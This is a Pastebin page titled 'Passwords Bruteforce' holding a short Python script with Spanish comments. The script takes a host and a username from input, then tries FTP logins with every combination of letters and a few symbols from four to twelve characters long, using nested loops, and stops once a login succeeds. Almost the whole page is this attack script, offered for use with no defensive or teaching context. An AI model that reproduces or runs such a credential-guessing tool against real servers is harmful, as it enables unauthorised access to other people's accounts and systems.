EXTREMEXPLOIT

Passwords Bruteforce

Jan 4th, 2017
267
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.50 KB | None | 0 0
  1. import ftplib
  2.  
  3. # Letras que se usaran:
  4. Caracteres = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', ".", ",", "-", "_", "@", "+",""]
  5.  
  6. # Comprueva si la contraseña funciona
  7. def Password(host,user,password):
  8.     print("Searching PASSWORD:", password)
  9.     #Intenta conectarse
  10.     try:
  11.         # Dice si ha encontrado la contraseña...
  12.         ftp = ftplib.FTP(host)
  13.         ftp.login(user,password)
  14.         print("Password Found:", password)
  15.         ftp.quit()
  16.         exit()
  17.     except:
  18.         return
  19.    
  20. host = input("Host: ")
  21. user = input("User: ")
  22. for c1 in Caracteres:
  23.     for c2 in Caracteres:
  24.         for c3 in Caracteres:
  25.             for c4 in Caracteres:
  26.                 password = c1+c2+c3+c4  
  27.                                    
  28.                 Password(host,user,password)
  29.                 for c5 in Caracteres:
  30.                     password = c1+c2+c3+c4+c5    
  31.                     Password(host,user,password)
  32.                     for c6 in Caracteres:
  33.                         password = c1+c2+c3+c4+c5+c6
  34.                         Password(host,user,password)
  35.                         for c7 in Caracteres:
  36.                             password = c1+c2+c3+c4+c5+c6+c7
  37.                             Password(host,user,password)
  38.                             for c8 in Caracteres:
  39.                                 password = c1+c2+c3+c4+c5+c6+c7+c8
  40.                                 Password(host,user,password)
  41.                                 for c9 in Caracteres:
  42.                                     password = c1+c2+c3+c4+c5+c6+c7+c8+c9
  43.                                     Password(host,user,password)
  44.                                     for c10 in Caracteres:
  45.                                         password = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10
  46.                                         Password(host,user,password)
  47.                                         for c11 in Caracteres:
  48.                                             password = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10+c11
  49.                                             Password(host,user,password)
  50.                                             for c12 in Caracteres:
  51.                                                 password = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10+c11+c12
  52.                                                 Password(host,user,password)
  53. #EXTREMEXPLOIT
Add Comment
Please, Sign In to add comment